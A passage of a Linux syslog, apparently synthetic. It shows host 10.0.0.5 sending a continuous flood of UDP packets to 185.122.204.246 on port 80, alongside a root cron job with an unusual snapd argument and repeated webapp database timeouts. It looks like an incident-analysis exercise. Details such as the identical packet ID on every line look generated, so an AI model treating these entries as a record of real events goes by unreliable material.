ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41577 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=15026 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29413 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36609 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48023 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=65370 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31823 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58025 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13469 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10872 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22238 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25148 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39868 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33597 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26076 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=34290 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14192 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47192 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23084 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61139 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=44335 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61308 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60584 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56187 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20898 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21519 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57682 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57464 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61920 DPT=80 LEN=1480 +Jul 15 10:05:00 systemd[1]: Started Session 160 of user root. +Jul 15 10:05:00 CRON[1860]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:05:00 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39661 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13496 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52358 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48036 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20255 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35812 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59737 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36009 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30751 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55070 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41570 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60887 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42423 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60159 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59811 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45225 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45843 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21022 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55379 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35533 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64030 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14380 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24970 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28751 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55674 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54468 DPT=80 LEN=1480 +Jul 15 10:05:25 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23819 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17522 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57831 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23445 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39731 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32045 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17827 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45586 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50569 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22541 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40196 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12209 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21211 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31302 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23060 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52138 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59492 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10235 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14477 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57848 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31719 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24412 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53281 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=62806 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41663 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23982 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32719 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=11776 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60905 DPT=80 LEN=1480 +Jul 15 10:05:50 CRON[1870]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:05:50 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41112 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55512 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40062 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22010 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26223 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17952 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25248 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50045 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61907 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59960 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40293 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10050 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54611 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42997 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51408 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51430 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54540 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30475 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47582 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42050 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45224 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=16008 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28834 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33605 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58305 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14111 DPT=80 LEN=1480 +Jul 15 10:06:15 systemd[1]: Started Session 175 of user root. +Jul 15 10:06:15 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=44535 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30751 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10280 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22016 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23200 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29294 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41509 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=65015 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 